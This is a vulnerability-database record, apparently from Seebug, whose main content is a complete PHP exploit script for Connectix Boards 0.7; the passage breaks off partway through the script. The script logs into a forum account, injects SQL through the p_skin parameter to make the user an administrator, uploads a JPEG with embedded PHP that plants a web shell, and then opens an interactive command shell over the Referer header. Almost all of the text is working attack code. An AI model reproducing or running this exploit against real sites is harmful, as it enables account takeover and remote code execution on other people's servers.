DATABASE RESOURCES PRICING ABOUT US

{"href": "https://www.seebug.org/vuldb/ssvid-6248", "status": "poc", "bulletinFamily": "exploit", "modified": "2007-02-23T00:00:00", "title": "Connectix Boards <= 0.7 (p_skin) Multiple Vulnerabilities Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-6248", "cvelist": [], "description": "No description provided by source.", "viewCount": 5, "published": "2007-02-23T00:00:00", "sourceData": "\n #!/usr/bin/php\r\n<?php\r\nerror_reporting(E_ALL&nbsp;^&nbsp;E_NOTICE);\r\n\r\nif($argc&nbsp;<&nbsp;9)&nbsp;{\r\nprint(\\\"\r\n&nbsp;Connectix&nbsp;Boards&nbsp;<=&nbsp;0.7&nbsp;(p_skin)&nbsp;Multiple&nbsp;Vulnerabilities&nbsp;Exploit\r\n-------------------------------------------------------------------\r\nPHP&nbsp;conditions:&nbsp;none\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Credits:&nbsp;DarkFig&nbsp;<gmdarkfig@gmail.com>\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL:&nbsp;http://www.acid-root.new.fr/\r\n-------------------------------------------------------------------\r\n&nbsp;&nbsp;Usage:&nbsp;$argv[0]&nbsp;-url&nbsp;<>&nbsp;-usr&nbsp;<>&nbsp;-pwd&nbsp;<>&nbsp;-type&nbsp;<>&nbsp;[Options]\r\n&nbsp;Params:&nbsp;-url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;example&nbsp;http://victim.com/connectix/&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-usr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;username&nbsp;of&nbsp;your&nbsp;account\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-pwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The&nbsp;password&nbsp;of&nbsp;your&nbsp;account\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-type&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Privilege&nbsp;Escalation(1)&nbsp;or&nbsp;Code&nbsp;execution(2)\r\nOptions:&nbsp;-proxy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;you&nbsp;wanna&nbsp;use&nbsp;a&nbsp;proxy&nbsp;<proxyhost:proxyport>&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-proxyauth&nbsp;Basic&nbsp;authentification&nbsp;<proxyuser:proxypwd>&nbsp;\r\n-------------------------------------------------------------------\r\n\\\");&nbsp;exit(1);\r\n}\r\n\r\n$url&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;getparam(\\'url\\',1);\r\n$user&nbsp;&nbsp;&nbsp;=&nbsp;getparam(\\'usr\\',1);\r\n$pass&nbsp;&nbsp;&nbsp;=&nbsp;getparam(\\'pwd\\',1);\r\n$type&nbsp;&nbsp;&nbsp;=&nbsp;getparam(\\'type\\',1);\r\n$proxy&nbsp;&nbsp;=&nbsp;getparam(\\'proxy\\');\r\n$authp&nbsp;&nbsp;=&nbsp;getparam(\\'proxyauth\\');\r\n$theme&nbsp;&nbsp;=&nbsp;\\'Zephyr\\';\r\n\r\n$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();\r\n$xpl->agent(\\\"Mozilla&nbsp;Firefox\\\");\r\n$xpl->allowredirection(1);\r\n$xpl->cookiejar(1);\r\nif($proxy)&nbsp;$xpl->proxy($proxy);\r\nif($authp)&nbsp;$xpl->proxyauth($authp);\r\n\r\nprint&nbsp;\\\"\r\nTrying&nbsp;to&nbsp;get&nbsp;logged&nbsp;in\\\";\r\n$xpl->post($url.\\'index.php?act=login\\',\\\"username=$user&password=$pass&remember=on&confirm=Connexion+%21\\\");\r\nif(preg_match(\\\"#password#\\\",$xpl->showcookie()))&nbsp;print&nbsp;\\\"\r\nLogged&nbsp;in\\\";\r\nelse&nbsp;exit(\\\"\r\nExploit&nbsp;failed\\\");\r\n\r\nsploit(\\\",&nbsp;usr_class=1\\\");\r\nif($type==1)&nbsp;exit(\\\"\r\nDone,&nbsp;$user&nbsp;is&nbsp;now&nbsp;admin.\\\");\r\n\r\n#&nbsp;Fake&nbsp;JPG&nbsp;(with&nbsp;php&nbsp;code)&nbsp;generated&nbsp;with&nbsp;edjpgcom.exe\r\n#\r\n#&nbsp;<?php&nbsp;$handle=fopen(\\'mdrpipicacalolxdwtf.gif.php\\',\\'w+\\');\r\n#&nbsp;fwrite($handle,\\'<?php&nbsp;@system($_SERVER[HTTP_REFERER]);&nbsp;?/>\\');\r\n#&nbsp;fclose($handle);&nbsp;unlink($_SERVER[PHP_SELF]);&nbsp;?/>\r\n#\r\n$f&nbsp;=&nbsp;\\\"xFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00x60x00x60x00x00xFF\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xDBx00x43x00x08x06x06x07x06x05x08x07x07x07x09x09x08x0Ax0Cx14\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x0Dx0Cx0Bx0Bx0Cx19x12x13x0Fx14x1Dx1Ax1Fx1Ex1Dx1Ax1Cx1Cx20x24\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x2Ex27x20x22x2Cx23x1Cx1Cx28x37x29x2Cx30x31x34x34x34x1Fx27x39\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x3Dx38x32x3Cx2Ex33x34x32xFFxDBx00x43x01x09x09x09x0Cx0Bx0Cx18\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x0Dx0Dx18x32x21x1Cx21x32x32x32x32x32x32x32x32x32x32x32x32x32\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32xFFxFEx00\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xA5x3Cx3Fx70x68x70x20x24x68x61x6Ex64x6Cx65x3Dx66x6Fx70x65x6E\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x28x27x6Dx64x72x70x69x70x69x63x61x63x61x6Cx6Fx6Cx78x64x77x74\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x66x2Ex67x69x66x2Ex70x68x70x27x2Cx27x77x2Bx27x29x3Bx66x77x72\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x69x74x65x28x24x68x61x6Ex64x6Cx65x2Cx27x3Cx3Fx70x68x70x20x40\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x73x79x73x74x65x6Dx28x24x5Fx53x45x52x56x45x52x5Bx48x54x54x50\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x5Fx52x45x46x45x52x45x52x5Dx29x3Bx20x3Fx3Ex27x29x3Bx66x63x6C\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x6Fx73x65x28x24x68x61x6Ex64x6Cx65x29x3Bx20x75x6Ex6Cx69x6Ex6B\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x28x24x5Fx53x45x52x56x45x52x5Bx50x48x50x5Fx53x45x4Cx46x5Dx29\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x3Bx20x3Fx3ExFFxC0x00x11x08x00x01x00x01x03x01x22x00x02x11x01\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x03x11x01xFFxC4x00x1Fx00x00x01x05x01x01x01x01x01x01x00x00x00\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x00x00x00x00x00x01x02x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x10x00x02x01x03x03x02x04x03x05x05x04x04x00x00x01x7Dx01x02x03\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x00x04x11x05x12x21x31x41x06x13x51x61x07x22x71x14x32x81x91xA1\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x08x23x42xB1xC1x15x52xD1xF0x24x33x62x72x82x09x0Ax16x17x18x19\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x1Ax25x26x27x28x29x2Ax34x35x36x37x38x39x3Ax43x44x45x46x47x48\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x49x4Ax53x54x55x56x57x58x59x5Ax63x64x65x66x67x68x69x6Ax73x74\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x75x76x77x78x79x7Ax83x84x85x86x87x88x89x8Ax92x93x94x95x96x97\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x98x99x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6xB7xB8xB9\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xBAxC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDAxE1\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xE2xE3xE4xE5xE6xE7xE8xE9xEAxF1xF2xF3xF4xF5xF6xF7xF8xF9xFAxFF\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xC4x00x1Fx01x00x03x01x01x01x01x01x01x01x01x01x00x00x00x00x00\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x00x01x02x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5x11x00x02x01\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x02x04x04x03x04x07x05x04x04x00x01x02x77x00x01x02x03x11x04x05\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x21x31x06x12x41x51x07x61x71x13x22x32x81x08x14x42x91xA1xB1xC1\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x09x23x33x52xF0x15x62x72xD1x0Ax16x24x34xE1x25xF1x17x18x19x1A\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x26x27x28x29x2Ax35x36x37x38x39x3Ax43x44x45x46x47x48x49x4Ax53\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x54x55x56x57x58x59x5Ax63x64x65x66x67x68x69x6Ax73x74x75x76x77\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x78x79x7Ax82x83x84x85x86x87x88x89x8Ax92x93x94x95x96x97x98x99\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6xB7xB8xB9xBAxC2\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDAxE2xE3xE4\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"xE5xE6xE7xE8xE9xEAxF2xF3xF4xF5xF6xF7xF8xF9xFAxFFxDAx00x0Cx03\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;.\\\"x01x00x02x11x03x11x00x3Fx00xF7xFAx28xA2x80x3FxFFxD9\\\";\r\n\r\n#&nbsp;+admin.bbcode.php\r\n#&nbsp;|\r\n#&nbsp;95.&nbsp;if(isset($_POST[\\'wherefile\\']))&nbsp;{\r\n#&nbsp;96.&nbsp;if&nbsp;($_POST[\\'wherefile\\']==\\'upload\\')&nbsp;{\r\n#&nbsp;97.&nbsp;if&nbsp;(!empty($_FILES[\\'uploadimage\\'][\\'size\\'])){\r\n#&nbsp;98.&nbsp;if&nbsp;($image=getimagesize(trim($_FILES[\\'uploadimage\\'][\\'tmp_name\\'])))&nbsp;{\r\n#&nbsp;99.&nbsp;$val&nbsp;=&nbsp;array(IMAGETYPE_GIF,IMAGETYPE_JPEG,IMAGETYPE_PNG);\r\n#&nbsp;100.&nbsp;if&nbsp;($_FILES[\\'uploadimage\\'][\\'size\\']&nbsp;<=&nbsp;20480&nbsp;&&&nbsp;in_array($image[2],$val))&nbsp;{\r\n#&nbsp;101.&nbsp;$filename&nbsp;=&nbsp;$smile->smiley_librariesdir.$_POST[\\'sm_filenameserver\\'];\r\n#&nbsp;102.&nbsp;$filename&nbsp;=&nbsp;str_replace(\\'../\\',\\'\\',trim($filename));\r\n#&nbsp;103.&nbsp;//si&nbsp;le&nbsp;filenameserver&nbsp;contient&nbsp;un&nbsp;dossier&nbsp;:&nbsp;on&nbsp;cr?e&nbsp;ce&nbsp;dossier:\r\n#&nbsp;104.&nbsp;mkdirs($smile->smiley_dir.dirname($filename));\r\n#&nbsp;105.&nbsp;if&nbsp;(move_uploaded_file($_FILES[\\'uploadimage\\'][\\'tmp_name\\'],&nbsp;$smile->smiley_dir.$_POST[\\'sm_filenameserver\\']))&nbsp;{\r\n#&nbsp;106.&nbsp;$do=true;\r\n#&nbsp;107.&nbsp;}\r\n#\r\n$arr&nbsp;=&nbsp;array(frmdt_url&nbsp;=>&nbsp;$url.\\'admin.php?act=bb&sub=4\\',\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"sm_name\\\"&nbsp;=>&nbsp;\\\":AbCdEfGhIj1234dsupersmilepowaa:\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"sm_filenamesubdir\\\"&nbsp;=>&nbsp;\\\"libraries/\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"sm_filenameserver\\\"&nbsp;=>&nbsp;\\\"xd.gif.php\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"wherefile\\\"&nbsp;=>&nbsp;\\\"upload\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"sm_send\\\"&nbsp;=>&nbsp;\\\"Confirmer\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\\\"uploadimage\\\"&nbsp;=>&nbsp;array(frmdt_type&nbsp;=>&nbsp;\\\"image/gif\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_filename&nbsp;=>&nbsp;\\\"xd.gif.php\\\",\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;frmdt_content&nbsp;=>&nbsp;$f));\r\n$xpl->formdata($arr);\r\n$xpl->get($url.\\\"smileys/xd.gif.php\\\");\r\nprint&nbsp;\\\"\r\n$shell>&nbsp;\\\";\r\n\r\nwhile(!preg_match(\\\"#^(quit|exit)$#\\\",($cmd&nbsp;=&nbsp;trim(fgets(STDIN)))))\r\n{\r\n&nbsp;&nbsp;&nbsp;&nbsp;$xpl->addheader(\\\"Referer\\\",$cmd);\r\n&nbsp;&nbsp;&nbsp;&nbsp;$xpl->get($url.\\\"smileys/mdrpipicacalolxdwtf.gif.php\\\");\r\n&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;$xpl->getcontent().\\\"\r\n$shell>&nbsp;\\\";\r\n}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nfunction&nbsp;sploit($sql)\r\n{\r\n\tglobal&nbsp;$url,$xpl,$theme,$user;\r\n\t$pdat&nbsp;=&nbsp;\\\"changeparams=1\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_usrs=20\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_topics=20\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_msgs=15\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_res=12\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_skin=$theme\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"%00\\',usr_pref_skin=\\'$theme\\',usr_signature=(SELECT&nbsp;\\'[XPL_IS_OK]\\')$sql&nbsp;WHERE&nbsp;usr_name=\\'$user\\'&nbsp;#\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_lang=fr\\\"\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.\\\"&p_timezone=1\\\";\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;+common.php\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;|\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;95.&nbsp;function&nbsp;cleanArray(&$arr)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;96.\tif&nbsp;(!empty($arr)&nbsp;&&&nbsp;is_array($arr))&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;97.\t\tforeach($arr&nbsp;as&nbsp;$k&nbsp;=>&nbsp;$v)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;98.\t\t\tif&nbsp;(is_array($v))&nbsp;cleanArray($arr[$k]);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;99.\t\t\telse&nbsp;$arr[$k]&nbsp;=&nbsp;stripslashes($v);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;100.\t\t}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;101.\t}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;102.&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;|\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;105.&nbsp;if&nbsp;(get_magic_quotes_gpc())&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;106.\tcleanArray($_POST);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;107.\tcleanArray($_COOKIE);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;108.\tcleanArray($_GET);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;109.&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;+part.userprofile.php\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;|\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;305.&nbsp;/*&nbsp;Changement&nbsp;des&nbsp;param?tres&nbsp;d\\'affichage&nbsp;(pas&nbsp;accessible&nbsp;par&nbsp;les&nbsp;modos&nbsp;ou&nbsp;admins)&nbsp;*/\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;306.&nbsp;}&nbsp;elseif&nbsp;(isset($_POST[\\'changeparams\\'])&nbsp;&&&nbsp;$edit_id==$_SESSION[\\'userid\\'])&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;307.&nbsp;if&nbsp;(&nbsp;isset($_POST[\\'p_usrs\\'],$_POST[\\'p_topics\\'],$_POST[\\'p_msgs\\'],$_POST[\\'p_res\\'],$_POST[\\'p_skin\\'],$_POST[\\'p_lang\\'],$_POST[\\'p_timezone\\'])&nbsp;)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;308.&nbsp;if&nbsp;(is_numeric($_POST[\\'p_usrs\\'])&nbsp;&&&nbsp;is_numeric($_POST[\\'p_topics\\'])&nbsp;&&&nbsp;is_numeric($_POST[\\'p_msgs\\'])&nbsp;&&&nbsp;is_numeric($_POST[\\'p_res\\'])&nbsp;&&&nbsp;isLang($_POST[\\'p_lang\\'])&nbsp;&&&nbsp;isSkin($_POST[\\'p_skin\\']))&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;309.&nbsp;if&nbsp;((int)$_POST[\\'p_usrs\\']>=5&nbsp;&&&nbsp;(int)$_POST[\\'p_usrs\\']<=50&nbsp;&&&nbsp;(int)$_POST[\\'p_topics\\']>=5&nbsp;&&&nbsp;(int)$_POST[\\'p_topics\\']<=50&nbsp;&&&nbsp;(int)$_POST[\\'p_msgs\\']>=5&nbsp;&&&nbsp;(int)$_POST[\\'p_msgs\\']<=50&nbsp;&&&nbsp;(int)$_POST[\\'p_res\\']>=5&nbsp;&&&nbsp;(int)$_POST[\\'p_res\\']<=50&nbsp;&&&nbsp;in_array($_POST[\\'p_timezone\\'],array_keys($timezones)))&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;310.&nbsp;$GLOBALS[\\'cb_db\\']->query(\\\"UPDATE&nbsp;\\\".$GLOBALS[\\'cb_db\\']->prefix.\\\"users&nbsp;SET&nbsp;usr_pref_msgs=\\'\\\".(int)$_POST[\\'p_msgs\\'].\\\"\\',usr_pref_usrs=\\'\\\".(int)$_POST[\\'p_usrs\\'].\\\"\\',usr_pref_topics=\\'\\\".(int)$_POST[\\'p_topics\\'].\\\"\\',usr_pref_res=\\'\\\".(int)$_POST[\\'p_res\\'].\\\"\\',usr_pref_lang=\\'\\\".$_POST[\\'p_lang\\'].\\\"\\',usr_pref_skin=\\'\\\".$_POST[\\'p_skin\\'].\\\"\\',usr_pref_timezone=\\'\\\".$_POST[\\'p_timezone\\'].\\\"\\',usr_pref_ctsummer=\\\".((int)(isset($_POST[\\'p_ctsummer\\'])&nbsp;&&&nbsp;$_POST[\\'p_ctsummer\\']==\\'on\\')).\\\"&nbsp;WHERE&nbsp;usr_id=\\\".$_SESSION[\\'cb_user\\']->userid);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;311.&nbsp;$_SESSION[\\'cb_user\\']->reloadnext=true;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;312.&nbsp;redirect(manage_url(\\'index.php?act=user&editprofile=\\'.$_SESSION[\\'userid\\'].\\'&page=6\\',\\'forum-profile\\'.$_SESSION[\\'userid\\'].\\'-params.html\\'));\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;+lib.cb.php\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;|\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;117.&nbsp;function&nbsp;isLang&nbsp;($langtype)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;118.\treturn&nbsp;is_dir(CB_PATH.\\'lang/\\'.$langtype);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;119.&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;|\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;133.&nbsp;function&nbsp;isSkin&nbsp;($skintype)&nbsp;{\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;134.\treturn&nbsp;is_dir(CB_PATH.\\'skins/\\'.$skintype);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;135.&nbsp;}\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xpl->post($url.\\\"index.php?act=user&editprofile=-1&page=6\\\",$pdat);\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$xpl->get($url.\\\"index.php?act=user&editprofile=-1&page=5\\\");\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(\\'#[XPL_IS_OK]#\\',$xpl->getcontent()))&nbsp;return;\r\n&nbsp;&nbsp;&nbsp